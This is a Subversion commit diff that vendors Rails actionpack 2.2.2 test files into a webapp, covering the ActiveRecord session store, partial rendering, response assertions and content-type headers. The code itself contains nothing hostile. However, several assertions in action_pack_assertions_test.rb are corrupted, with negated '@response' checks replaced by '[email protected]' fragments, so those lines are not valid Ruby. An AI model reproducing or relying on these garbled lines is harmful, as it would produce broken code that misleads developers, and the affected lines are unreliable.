+# Wrap tests that use Mocha and skip if unavailable.
+def uses_mocha(test_name)
+  unless Object.const_defined?(:Mocha)
+    require 'mocha'
+    require 'stubba'
+  end
+  yield
+rescue LoadError => load_error
+  raise unless load_error.message =~ /mocha/i
+  $stderr.puts "Skipping #{test_name} tests. `gem install mocha` and try again."
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/active_record_unit.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/active_record_unit.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/active_record_unit.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+# Define the essentials
+class ActiveRecordTestConnector
+  cattr_accessor :able_to_connect
+  cattr_accessor :connected
+
+  # Set our defaults
+  self.connected = false
+  self.able_to_connect = true
+end
+
+# Try to grab AR
+if defined?(ActiveRecord) && defined?(Fixtures)
+  $stderr.puts 'Active Record is already loaded, running tests'
+else
+  $stderr.print 'Attempting to load Active Record... '
+  begin
+    PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
+    raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
+    $LOAD_PATH.unshift PATH_TO_AR
+    require 'active_record'
+    require 'active_record/fixtures'
+    $stderr.puts 'success'
+  rescue LoadError => e
+    $stderr.print "failed. Skipping Active Record assertion tests: #{e}"
+    ActiveRecordTestConnector.able_to_connect = false
+  end
+end
+$stderr.flush
+
+
+# Define the rest of the connector
+class ActiveRecordTestConnector
+  class << self
+    def setup
+      unless self.connected || !self.able_to_connect
+        setup_connection
+        load_schema
+        require_fixture_models
+        self.connected = true
+      end
+    rescue Exception => e  # errors from ActiveRecord setup
+      $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
+      #$stderr.puts "  #{e.backtrace.join("\n  ")}\n"
+      self.able_to_connect = false
+    end
+
+    private
+      def setup_connection
+        if Object.const_defined?(:ActiveRecord)
+          defaults = { :database => ':memory:' }
+          begin
+            options = defaults.merge :adapter => 'sqlite3', :timeout => 500
+            ActiveRecord::Base.establish_connection(options)
+            ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
+            ActiveRecord::Base.connection
+          rescue Exception  # errors from establishing a connection
+            $stderr.puts 'SQLite 3 unavailable; trying SQLite 2.'
+            options = defaults.merge :adapter => 'sqlite'
+            ActiveRecord::Base.establish_connection(options)
+            ActiveRecord::Base.configurations = { 'sqlite2_ar_integration' => options }
+            ActiveRecord::Base.connection
+          end
+
+          Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
+        else
+          raise "Can't setup connection since ActiveRecord isn't loaded."
+        end
+      end
+
+      # Load actionpack sqlite tables
+      def load_schema
+        File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
+          ActiveRecord::Base.connection.execute(sql) unless sql.blank?
+        end
+      end
+
+      def require_fixture_models
+        Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
+      end
+  end
+end
+
+class ActiveRecordTestCase < ActiveSupport::TestCase
+  # Set our fixture path
+  if ActiveRecordTestConnector.able_to_connect
+    self.fixture_path = [FIXTURE_LOAD_PATH]
+    self.use_transactional_fixtures = false
+  end
+
+  def self.fixtures(*args)
+    super if ActiveRecordTestConnector.connected
+  end
+
+  def run(*args)
+    super if ActiveRecordTestConnector.connected
+  end
+
+  def default_test; end
+end
+
+ActiveRecordTestConnector.setup

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/active_record_store_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/active_record_store_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/active_record_store_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,141 @@
+# These tests exercise CGI::Session::ActiveRecordStore, so you're going to
+# need AR in a sibling directory to AP and have SQLite installed.
+require 'active_record_unit'
+require 'action_controller/session/active_record_store'
+
+module CommonActiveRecordStoreTests
+  def test_basics
+    s = session_class.new(:session_id => '1234', :data => { 'foo' => 'bar' })
+    assert_equal 'bar', s.data['foo']
+    assert s.save
+    assert_equal 'bar', s.data['foo']
+
+    assert_not_nil t = session_class.find_by_session_id('1234')
+    assert_not_nil t.data
+    assert_equal 'bar', t.data['foo']
+  end
+
+  def test_reload_same_session
+    @new_session.update
+    reloaded = CGI::Session.new(CGI.new, 'session_id' => @new_session.session_id, 'database_manager' => CGI::Session::ActiveRecordStore)
+    assert_equal 'bar', reloaded['foo']
+  end
+
+  def test_tolerates_close_close
+    assert_nothing_raised do
+      @new_session.close
+      @new_session.close
+    end
+  end
+end
+
+class ActiveRecordStoreTest < ActiveRecordTestCase
+  include CommonActiveRecordStoreTests
+
+  def session_class
+    CGI::Session::ActiveRecordStore::Session
+  end
+
+  def session_id_column
+    "session_id"
+  end
+
+  def setup
+    session_class.create_table!
+
+    ENV['REQUEST_METHOD'] = 'GET'
+    ENV['REQUEST_URI'] = '/'
+    CGI::Session::ActiveRecordStore.session_class = session_class
+
+    @cgi = CGI.new
+    @new_session = CGI::Session.new(@cgi, 'database_manager' => CGI::Session::ActiveRecordStore, 'new_session' => true)
+    @new_session['foo'] = 'bar'
+  end
+
+# this test only applies for eager session saving
+#  def test_another_instance
+#    @another = CGI::Session.new(@cgi, 'session_id' => @new_session.session_id, 'database_manager' => CGI::Session::ActiveRecordStore)
+#    assert_equal @new_session.session_id, @another.session_id
+#  end
+
+  def test_model_attribute
+    assert_kind_of CGI::Session::ActiveRecordStore::Session, @new_session.model
+    assert_equal({ 'foo' => 'bar' }, @new_session.model.data)
+  end
+
+  def test_save_unloaded_session
+    c = session_class.connection
+    bogus_class = c.quote(ActiveSupport::Base64.encode64("\004\010o:\vBlammo\000"))
+    c.insert("INSERT INTO #{session_class.table_name} ('#{session_id_column}', 'data') VALUES ('abcdefghijklmnop', #{bogus_class})")
+
+    sess = session_class.find_by_session_id('abcdefghijklmnop')
+    assert_not_nil sess
+    assert !sess.loaded?
+
+    # because the session is not loaded, the save should be a no-op. If it
+    # isn't, this'll try and unmarshall the bogus class, and should get an error.
+    assert_nothing_raised { sess.save }
+  end
+
+  def teardown
+    session_class.drop_table!
+  end
+end
+
+class ColumnLimitTest < ActiveRecordTestCase
+  def setup
+    @session_class = CGI::Session::ActiveRecordStore::Session
+    @session_class.create_table!
+  end
+
+  def teardown
+    @session_class.drop_table!
+  end
+
+  def test_protection_from_data_larger_than_column
+    # Can't test this unless there is a limit
+    return unless limit = @session_class.data_column_size_limit
+    too_big = ':(' * limit
+    s = @session_class.new(:session_id => '666', :data => {'foo' => too_big})
+    s.data
+    assert_raise(ActionController::SessionOverflowError) { s.save }
+  end
+end
+
+class DeprecatedActiveRecordStoreTest < ActiveRecordStoreTest
+  def session_id_column
+    "sessid"
+  end
+
+  def setup
+    session_class.connection.execute 'create table old_sessions (id integer primary key, sessid text unique, data text)'
+    session_class.table_name = 'old_sessions'
+    session_class.send :setup_sessid_compatibility!
+
+    ENV['REQUEST_METHOD'] = 'GET'
+    CGI::Session::ActiveRecordStore.session_class = session_class
+
+    @new_session = CGI::Session.new(CGI.new, 'database_manager' => CGI::Session::ActiveRecordStore, 'new_session' => true)
+    @new_session['foo'] = 'bar'
+  end
+
+  def teardown
+    session_class.connection.execute 'drop table old_sessions'
+    session_class.table_name = 'sessions'
+  end
+end
+
+class SqlBypassActiveRecordStoreTest < ActiveRecordStoreTest
+  def session_class
+    unless defined? @session_class
+      @session_class = CGI::Session::ActiveRecordStore::SqlBypass
+      @session_class.connection = CGI::Session::ActiveRecordStore::Session.connection
+    end
+    @session_class
+  end
+
+  def test_model_attribute
+    assert_kind_of CGI::Session::ActiveRecordStore::SqlBypass, @new_session.model
+    assert_equal({ 'foo' => 'bar' }, @new_session.model.data)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/render_partial_with_record_identification_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/render_partial_with_record_identification_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord/render_partial_with_record_identification_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,204 @@
+require 'active_record_unit'
+
+class RenderPartialWithRecordIdentificationController < ActionController::Base
+  def render_with_has_many_and_belongs_to_association
+    @developer = Developer.find(1)
+    render :partial => @developer.projects
+  end
+
+  def render_with_has_many_association
+    @topic = Topic.find(1)
+    render :partial => @topic.replies
+  end
+
+  def render_with_named_scope
+    render :partial => Reply.base
+  end
+
+  def render_with_has_many_through_association
+    @developer = Developer.find(:first)
+    render :partial => @developer.topics
+  end
+
+  def render_with_has_one_association
+    @company = Company.find(1)
+    render :partial => @company.mascot
+  end
+
+  def render_with_belongs_to_association
+    @reply = Reply.find(1)
+    render :partial => @reply.topic
+  end
+
+  def render_with_record
+    @developer = Developer.find(:first)
+    render :partial => @developer
+  end
+
+  def render_with_record_collection
+    @developers = Developer.find(:all)
+    render :partial => @developers
+  end
+
+  def render_with_record_collection_and_spacer_template
+    @developer = Developer.find(1)
+    render :partial => @developer.projects, :spacer_template => 'test/partial_only'
+  end
+end
+
+class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
+  fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
+
+  def setup
+    @controller = RenderPartialWithRecordIdentificationController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    super
+  end
+
+  def test_rendering_partial_with_has_many_and_belongs_to_association
+    get :render_with_has_many_and_belongs_to_association
+    assert_template 'projects/_project'
+    assert_equal 'Active RecordActive Controller', @response.body
+  end
+
+  def test_rendering_partial_with_has_many_association
+    get :render_with_has_many_association
+    assert_template 'replies/_reply'
+    assert_equal 'Birdman is better!', @response.body
+  end
+
+  def test_rendering_partial_with_named_scope
+    get :render_with_named_scope
+    assert_template 'replies/_reply'
+    assert_equal 'Birdman is better!Nuh uh!', @response.body
+  end
+
+  def test_render_with_record
+    get :render_with_record
+    assert_template 'developers/_developer'
+    assert_equal 'David', @response.body
+  end
+
+  def test_render_with_record_collection
+    get :render_with_record_collection
+    assert_template 'developers/_developer'
+    assert_equal 'DavidJamisfixture_3fixture_4fixture_5fixture_6fixture_7fixture_8fixture_9fixture_10Jamis', @response.body
+  end
+
+  def test_render_with_record_collection_and_spacer_template
+    get :render_with_record_collection_and_spacer_template
+    assert_equal 'Active Recordonly partialActive Controller', @response.body
+  end
+
+  def test_rendering_partial_with_has_one_association
+    mascot = Company.find(1).mascot
+    get :render_with_has_one_association
+    assert_template 'mascots/_mascot'
+    assert_equal mascot.name, @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationController < ActionController::Base
+  def render_with_has_many_and_belongs_to_association
+    @developer = Developer.find(1)
+    render :partial => @developer.projects
+  end
+
+  def render_with_has_many_association
+    @topic = Topic.find(1)
+    render :partial => @topic.replies
+  end
+
+  def render_with_has_many_through_association
+    @developer = Developer.find(:first)
+    render :partial => @developer.topics
+  end
+
+  def render_with_belongs_to_association
+    @reply = Reply.find(1)
+    render :partial => @reply.topic
+  end
+
+  def render_with_record
+    @developer = Developer.find(:first)
+    render :partial => @developer
+  end
+
+  def render_with_record_collection
+    @developers = Developer.find(:all)
+    render :partial => @developers
+  end
+end
+
+class Game < Struct.new(:name, :id)
+  def to_param
+    id.to_s
+  end
+end
+
+module Fun
+  class NestedController < ActionController::Base
+    def render_with_record_in_nested_controller
+      render :partial => Game.new("Pong")
+    end
+
+    def render_with_record_collection_in_nested_controller
+      render :partial => [ Game.new("Pong"), Game.new("Tank") ]
+    end
+  end
+
+  module Serious
+    class NestedDeeperController < ActionController::Base
+      def render_with_record_in_deeper_nested_controller
+        render :partial => Game.new("Chess")
+      end
+
+      def render_with_record_collection_in_deeper_nested_controller
+        render :partial => [ Game.new("Chess"), Game.new("Sudoku"), Game.new("Solitaire") ]
+      end
+    end
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveRecordTestCase
+  def setup
+    @controller = Fun::NestedController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    super
+  end
+
+  def test_render_with_record_in_nested_controller
+    get :render_with_record_in_nested_controller
+    assert_template 'fun/games/_game'
+    assert_equal 'Pong', @response.body
+  end
+
+  def test_render_with_record_collection_in_nested_controller
+    get :render_with_record_collection_in_nested_controller
+    assert_template 'fun/games/_game'
+    assert_equal 'PongTank', @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < ActiveRecordTestCase
+  def setup
+    @controller = Fun::Serious::NestedDeeperController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    super
+  end
+
+  def test_render_with_record_in_deeper_nested_controller
+    get :render_with_record_in_deeper_nested_controller
+    assert_template 'fun/serious/games/_game'
+    assert_equal 'Chess', @response.body
+  end
+
+  def test_render_with_record_collection_in_deeper_nested_controller
+    get :render_with_record_collection_in_deeper_nested_controller
+    assert_template 'fun/serious/games/_game'
+    assert_equal 'ChessSudokuSolitaire', @response.body
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/adv_attr_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/adv_attr_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/adv_attr_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require File.dirname(__FILE__) + '/abstract_unit'
+require 'action_mailer/adv_attr_accessor'
+
+class AdvAttrTest < Test::Unit::TestCase
+  class Person
+    include ActionMailer::AdvAttrAccessor
+    adv_attr_accessor :name
+  end
+
+  def test_adv_attr
+    bob = Person.new
+    assert_nil bob.name
+    bob.name 'Bob'
+    assert_equal 'Bob', bob.name
+
+    assert_raise(ArgumentError) {bob.name 'x', 'y'}
+  end
+
+
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/action_pack_assertions_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/action_pack_assertions_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/action_pack_assertions_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,514 @@
+require 'abstract_unit'
+
+# a controller class to facilitate the tests
+class ActionPackAssertionsController < ActionController::Base
+
+  # this does absolutely nothing
+  def nothing() head :ok end
+
+  # a standard template
+  def hello_world() render :template => "test/hello_world"; end
+
+  # a standard template
+  def hello_xml_world() render :template => "test/hello_xml_world"; end
+
+  # a redirect to an internal location
+  def redirect_internal() redirect_to "/nothing"; end
+
+  def redirect_to_action() redirect_to :action => "flash_me", :id => 1, :params => { "panda" => "fun" }; end
+
+  def redirect_to_controller() redirect_to :controller => "elsewhere", :action => "flash_me"; end
+
+  def redirect_to_controller_with_symbol() redirect_to :controller => :elsewhere, :action => :flash_me; end
+
+  def redirect_to_path() redirect_to '/some/path' end
+
+  def redirect_to_named_route() redirect_to route_one_url end
+
+  # a redirect to an external location
+  def redirect_external() redirect_to "http://www.rubyonrails.org"; end
+
+  # a 404
+  def response404() head '404 AWOL' end
+
+  # a 500
+  def response500() head '500 Sorry' end
+
+  # a fictional 599
+  def response599() head '599 Whoah!' end
+
+  # putting stuff in the flash
+  def flash_me
+    flash['hello'] = 'my name is inigo montoya...'
+    render :text => "Inconceivable!"
+  end
+
+  # we have a flash, but nothing is in it
+  def flash_me_naked
+    flash.clear
+    render :text => "wow!"
+  end
+
+  # assign some template instance variables
+  def assign_this
+    @howdy = "ho"
+    render :inline => "Mr. Henke"
+  end
+
+  def render_based_on_parameters
+    render :text => "Mr. #{params[:name]}"
+  end
+
+  def render_url
+    render :text => "<div>#{url_for(:action => 'flash_me', :only_path => true)}</div>"
+  end
+
+  def render_text_with_custom_content_type
+    render :text => "Hello!", :content_type => Mime::RSS
+  end
+
+  # puts something in the session
+  def session_stuffing
+    session['xmas'] = 'turkey'
+    render :text => "ho ho ho"
+  end
+
+  # raises exception on get requests
+  def raise_on_get
+    raise "get" if request.get?
+    render :text => "request method: #{request.env['REQUEST_METHOD']}"
+  end
+
+  # raises exception on post requests
+  def raise_on_post
+    raise "post" if request.post?
+    render :text => "request method: #{request.env['REQUEST_METHOD']}"
+  end
+
+  def get_valid_record
+    @record = Class.new do
+      def valid?
+        true
+      end
+
+      def errors
+        Class.new do
+           def full_messages; []; end
+        end.new
+      end
+
+    end.new
+
+    render :nothing => true
+  end
+
+
+  def get_invalid_record
+    @record = Class.new do
+
+      def valid?
+        false
+      end
+
+      def errors
+        Class.new do
+           def full_messages; ['...stuff...']; end
+        end.new
+      end
+    end.new
+
+    render :nothing => true
+  end
+
+  # 911
+  def rescue_action(e) raise; end
+end
+
+# Used to test that assert_response includes the exception message
+# in the failure message when an action raises and assert_response
+# is expecting something other than an error.
+class AssertResponseWithUnexpectedErrorController < ActionController::Base
+  def index
+    raise 'FAIL'
+  end
+
+  def show
+    render :text => "Boom", :status => 500
+  end
+end
+
+class UserController < ActionController::Base
+end
+
+module Admin
+  class InnerModuleController < ActionController::Base
+    def index
+      render :nothing => true
+    end
+
+    def redirect_to_index
+      redirect_to admin_inner_module_path
+    end
+
+    def redirect_to_absolute_controller
+      redirect_to :controller => '/content'
+    end
+
+    def redirect_to_fellow_controller
+      redirect_to :controller => 'user'
+    end
+
+    def redirect_to_top_level_named_route
+      redirect_to top_level_url(:id => "foo")
+    end
+  end
+end
+
+# a test case to exercise the new capabilities TestRequest & TestResponse
+class ActionPackAssertionsControllerTest < Test::Unit::TestCase
+  # let's get this party started
+  def setup
+    ActionController::Routing::Routes.reload
+    ActionController::Routing.use_controllers!(%w(action_pack_assertions admin/inner_module user content admin/user))
+    @controller = ActionPackAssertionsController.new
+    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
+  end
+
+  def teardown
+    ActionController::Routing::Routes.reload
+  end
+
+  # -- assertion-based testing ------------------------------------------------
+
+  def test_assert_tag_and_url_for
+    get :render_url
+    assert_tag :content => "/action_pack_assertions/flash_me"
+  end
+
+  # test the get method, make sure the request really was a get
+  def test_get
+    assert_raise(RuntimeError) { get :raise_on_get }
+    get :raise_on_post
+    assert_equal @response.body, 'request method: GET'
+  end
+
+  # test the get method, make sure the request really was a get
+  def test_post
+    assert_raise(RuntimeError) { post :raise_on_post }
+    post :raise_on_get
+    assert_equal @response.body, 'request method: POST'
+  end
+
+#   the following test fails because the request_method is now cached on the request instance
+#   test the get/post switch within one test action
+#   def test_get_post_switch
+#     post :raise_on_get
+#     assert_equal @response.body, 'request method: POST'
+#     get :raise_on_post
+#     assert_equal @response.body, 'request method: GET'
+#     post :raise_on_get
+#     assert_equal @response.body, 'request method: POST'
+#     get :raise_on_post
+#     assert_equal @response.body, 'request method: GET'
+#   end
+
+  # test the redirection to a named route
+  def test_assert_redirect_to_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.route_one 'route_one', :controller => 'action_pack_assertions', :action => 'nothing'
+        map.connect   ':controller/:action/:id'
+      end
+      set.install_helpers
+
+      process :redirect_to_named_route
+      assert_redirected_to 'http://test.host/route_one'
+      assert_redirected_to route_one_url
+    end
+  end
+
+  def test_assert_redirect_to_named_route_failure
+    with_routing do |set|
+      set.draw do |map|
+        map.route_one 'route_one', :controller => 'action_pack_assertions', :action => 'nothing', :id => 'one'
+        map.route_two 'route_two', :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
+        map.connect   ':controller/:action/:id'
+      end
+      process :redirect_to_named_route
+      assert_raise(Test::Unit::AssertionFailedError) do
+        assert_redirected_to 'http://test.host/route_two'
+      end
+      assert_raise(Test::Unit::AssertionFailedError) do
+        assert_redirected_to :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
+      end
+      assert_raise(Test::Unit::AssertionFailedError) do
+        assert_redirected_to route_two_url
+      end
+    end
+  end
+
+  def test_assert_redirect_to_nested_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.admin_inner_module 'admin/inner_module', :controller => 'admin/inner_module', :action => 'index'
+        map.connect            ':controller/:action/:id'
+      end
+      @controller = Admin::InnerModuleController.new
+      process :redirect_to_index
+      # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}>
+      assert_redirected_to admin_inner_module_path
+    end
+  end
+
+  def test_assert_redirected_to_top_level_named_route_from_nested_controller
+    with_routing do |set|
+      set.draw do |map|
+        map.top_level '/action_pack_assertions/:id', :controller => 'action_pack_assertions', :action => 'index'
+        map.connect   ':controller/:action/:id'
+      end
+      @controller = Admin::InnerModuleController.new
+      process :redirect_to_top_level_named_route
+      # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return
+      assert_redirected_to "/action_pack_assertions/foo"
+    end
+  end
+
+  def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in_both_namespaces
+    with_routing do |set|
+      set.draw do |map|
+        # this controller exists in the admin namespace as well which is the only difference from previous test
+        map.top_level '/user/:id', :controller => 'user', :action => 'index'
+        map.connect   ':controller/:action/:id'
+      end
+      @controller = Admin::InnerModuleController.new
+      process :redirect_to_top_level_named_route
+      # assert_redirected_to top_level_url('foo') would pass because of exact match early return
+      assert_redirected_to top_level_path('foo')
+    end
+  end
+
+  # -- standard request/response object testing --------------------------------
+
+  # make sure that the template objects exist
+  def test_template_objects_alive
+    process :assign_this
+    assert [email protected]_template_object?('hi')
+    assert @response.has_template_object?('howdy')
+  end
+
+  # make sure we don't have template objects when we shouldn't
+  def test_template_object_missing
+    process :nothing
+    assert_nil @response.template_objects['howdy']
+  end
+
+  # check the empty flashing
+  def test_flash_me_naked
+    process :flash_me_naked
+    assert [email protected]_flash?
+    assert [email protected]_flash_with_contents?
+  end
+
+  # check if we have flash objects
+  def test_flash_haves
+    process :flash_me
+    assert @response.has_flash?
+    assert @response.has_flash_with_contents?
+    assert @response.has_flash_object?('hello')
+  end
+
+  # ensure we don't have flash objects
+  def test_flash_have_nots
+    process :nothing
+    assert [email protected]_flash?
+    assert [email protected]_flash_with_contents?
+    assert_nil @response.flash['hello']
+  end
+
+  # check if we were rendered by a file-based template?
+  def test_rendered_action
+    process :nothing
+    assert_nil @response.rendered_template
+
+    process :hello_world
+    assert @response.rendered_template
+    assert 'hello_world', @response.rendered_template.to_s
+  end
+
+  # check the redirection location
+  def test_redirection_location
+    process :redirect_internal
+    assert_equal 'http://test.host/nothing', @response.redirect_url
+
+    process :redirect_external
+    assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+  end
+
+  def test_no_redirect_url
+    process :nothing
+    assert_nil @response.redirect_url
+  end
+
+
+  # check server errors
+  def test_server_error_response_code
+    process :response500
+    assert @response.server_error?
+
+    process :response599
+    assert @response.server_error?
+
+    process :response404
+    assert [email protected]_error?
+  end
+
+  # check a 404 response code
+  def test_missing_response_code
+    process :response404
+    assert @response.missing?
+  end
+
+  # check to see if our redirection matches a pattern
+  def test_redirect_url_match
+    process :redirect_external
+    assert @response.redirect?
+    assert @response.redirect_url_match?("rubyonrails")
+    assert @response.redirect_url_match?(/rubyonrails/)
+    assert [email protected]_url_match?("phpoffrails")
+    assert [email protected]_url_match?(/perloffrails/)
+  end
+
+  # check for a redirection
+  def test_redirection
+    process :redirect_internal
+    assert @response.redirect?
+
+    process :redirect_external
+    assert @response.redirect?
+
+    process :nothing
+    assert [email protected]?
+  end
+
+  # check a successful response code
+  def test_successful_response_code
+    process :nothing
+    assert @response.success?
+  end
+
+  # a basic check to make sure we have a TestResponse object
+  def test_has_response
+    process :nothing
+    assert_kind_of ActionController::TestResponse, @response
+  end
+
+  def test_render_based_on_parameters
+    process :render_based_on_parameters, "name" => "David"
+    assert_equal "Mr. David", @response.body
+  end
+
+
+  def test_assert_redirection_fails_with_incorrect_controller
+    process :redirect_to_controller
+    assert_raise(Test::Unit::AssertionFailedError) do
+      assert_redirected_to :controller => "action_pack_assertions", :action => "flash_me"
+    end
+  end
+
+  def test_assert_redirection_with_extra_controller_option
+    get :redirect_to_action
+    assert_redirected_to :controller => 'action_pack_assertions', :action => "flash_me", :id => 1, :params => { :panda => 'fun' }
+  end
+
+  def test_redirected_to_url_leading_slash
+    process :redirect_to_path
+    assert_redirected_to '/some/path'
+  end
+
+  def test_redirected_to_url_no_leadling_slash
+    process :redirect_to_path
+    assert_redirected_to 'some/path'
+  end
+
+  def test_redirected_to_url_full_url
+    process :redirect_to_path
+    assert_redirected_to 'http://test.host/some/path'
+  end
+
+  def test_assert_redirection_with_symbol
+    process :redirect_to_controller_with_symbol
+    assert_nothing_raised {
+      assert_redirected_to :controller => "elsewhere", :action => "flash_me"
+    }
+    process :redirect_to_controller_with_symbol
+    assert_nothing_raised {
+      assert_redirected_to :controller => :elsewhere, :action => :flash_me
+    }
+  end
+
+  def test_redirected_to_with_nested_controller
+    @controller = Admin::InnerModuleController.new
+    get :redirect_to_absolute_controller
+    assert_redirected_to :controller => '/content'
+
+    get :redirect_to_fellow_controller
+    assert_redirected_to :controller => 'admin/user'
+  end
+
+  def test_assert_valid
+    get :get_valid_record
+    assert_valid assigns('record')
+  end
+
+  def test_assert_valid_failing
+    get :get_invalid_record
+
+    begin
+      assert_valid assigns('record')
+      assert false
+    rescue Test::Unit::AssertionFailedError => e
+    end
+  end
+
+  def test_assert_response_uses_exception_message
+    @controller = AssertResponseWithUnexpectedErrorController.new
+    get :index
+    assert_response :success
+    flunk 'Expected non-success response'
+  rescue Test::Unit::AssertionFailedError => e
+    assert e.message.include?('FAIL')
+  end
+
+  def test_assert_response_failure_response_with_no_exception
+    @controller = AssertResponseWithUnexpectedErrorController.new
+    get :show
+    assert_response :success
+    flunk 'Expected non-success response'
+  rescue Test::Unit::AssertionFailedError
+  rescue
+    flunk "assert_response failed to handle failure response with missing, but optional, exception."
+  end
+end
+
+class ActionPackHeaderTest < Test::Unit::TestCase
+  def setup
+    @controller = ActionPackAssertionsController.new
+    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
+  end
+
+  def test_rendering_xml_sets_content_type
+    process :hello_xml_world
+    assert_equal('application/xml; charset=utf-8', @response.headers['type'])
+  end
+
+  def test_rendering_xml_respects_content_type
+    @response.headers['type'] = 'application/pdf'
+    process :hello_xml_world
+    assert_equal('application/pdf; charset=utf-8', @response.headers['type'])
+  end
+
+  def test_render_text_with_custom_content_type
+    get :render_text_with_custom_content_type
+    assert_equal 'application/rss+xml; charset=utf-8', @response.headers['type']
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/addresses_render_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/addresses_render_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/addresses_render_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+require 'abstract_unit'
+
+class Address
+  def Address.count(conditions = nil, join = nil)
+    nil
+  end
+
+  def Address.find_all(arg1, arg2, arg3, arg4)
+    []
+  end
+
+  def self.find(*args)
+    []
+  end
+end
+
+class AddressesTestController < ActionController::Base
+  def self.controller_name; "addresses"; end
+  def self.controller_path; "addresses"; end
+end
+
+class AddressesTest < Test::Unit::TestCase
+  def setup
+    @controller = AddressesTestController.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = Logger.new(nil)
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_list
+    get :list
+    assert_equal "We only need to get this far!", @response.body.chomp
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/assert_select_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/assert_select_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/assert_select_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,721 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+
+unless defined?(ActionMailer)
+  begin
+    $:.unshift(File.dirname(__FILE__) + "/../../../actionmailer/lib")
+    require 'action_mailer'
+  rescue LoadError
+    require 'rubygems'
+    gem 'actionmailer'
+  end
+end
+
+ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
+
+class AssertSelectTest < Test::Unit::TestCase
+  class AssertSelectController < ActionController::Base
+    def response_with=(content)
+      @content = content
+    end
+
+    def response_with(&block)
+      @update = block
+    end
+
+    def html()
+      render :text=>@content, :layout=>false, :content_type=>Mime::HTML
+      @content = nil
+    end
+
+    def rjs()
+      render :update do |page|
+        @update.call page
